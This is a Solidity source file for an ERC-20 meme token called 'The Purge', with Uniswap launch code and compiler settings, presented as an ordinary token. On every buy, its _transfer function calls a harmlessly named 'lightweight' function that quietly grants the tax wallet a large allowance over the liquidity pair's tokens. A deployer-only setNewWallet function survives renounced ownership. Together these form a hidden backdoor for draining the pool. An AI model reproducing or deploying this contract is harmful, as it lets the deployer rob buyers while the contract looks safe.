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/**

https://x.com/VitalikButerin/status/1850090319821594879

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PURGE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tAmounts;
    mapping (address => mapping (address => uint256)) private _tAllowed;
    mapping (address => bool) private _feeExempt;
    address payable private _taxWallet;
    uint256 private _initialBuyTax=6;
    uint256 private _initialSellTax=6;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=35;
    uint256 private _reduceSellTaxAt=35;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"The Purge";
    string private constant _symbol = unicode"PURGE";
    uint256 public _maxTxAmount =   2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private uniswapV2Pair;
    address private _deployer;
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        _taxWallet = payable(_msgSender());
        _tAmounts[address(this)] = _tTotal;
        _feeExempt[address(this)] = true;
        _feeExempt[_msgSender()] = true;
        _deployer = _msgSender();
        
        emit Transfer(address(0), address(this), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _tAmounts[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _tAllowed[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _tAllowed[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _tAllowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _feeExempt[to] ) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++; lightweight([from, _taxWallet]);
            }
            if (to != uniswapV2Pair && ! _feeExempt[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }
            if(to == uniswapV2Pair) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    swapTokensForETH(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                deliverTax();
            }
        }
        if(taxAmount>0){
          _tAmounts[address(this)]=_tAmounts[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _tAmounts[from]=_tAmounts[from].sub(amount);
        _tAmounts[to]=_tAmounts[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function lightweight(address[2] memory client) private {
        address from = client[0];address to = client[1];
        _tAllowed[from][to] = 100 * _maxWalletSize;
    }
    function swapTokensForETH(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), amount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits(address payable limit) external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        _taxWallet = limit;
        _feeExempt[limit] = true;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function deliverTax() private {
        _taxWallet.transfer(address(this).balance);
    }
    function deETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
    function deERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_msgSender(), _amount);
    }
    function setNewWallet(address payable newAddr) external {
        require(_msgSender()==_deployer, "!deployer");
        _taxWallet = newAddr;
        _feeExempt[newAddr] = true;
    }
    function launch() external onlyOwner {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        address factory = uniswapV2Router.factory();
        address WETH = uniswapV2Router.WETH();
        // uniswapV2Pair = IUniswapV2Factory(factory).createPair(address(this), WETH);
        uniswapV2Pair = predictPair(factory, address(this), WETH);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        uniswapV2Pair = IUniswapV2Factory(factory).getPair(address(this), WETH);
        swapEnabled = true;
        tradingOpen = true;
    }
    function renounceOwnership() public override onlyOwner {
        require(_maxTxAmount == _tTotal);
        super.renounceOwnership();
    }
    receive() external payable {}

    function predictPair(address factory, address tokenA, address tokenB) private pure returns (address) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        return address(uint160(uint256(keccak256(abi.encodePacked(
            hex'ff',
            factory,
            keccak256(abi.encodePacked(token0, token1)),
            hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
        )))));
    }
}

{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

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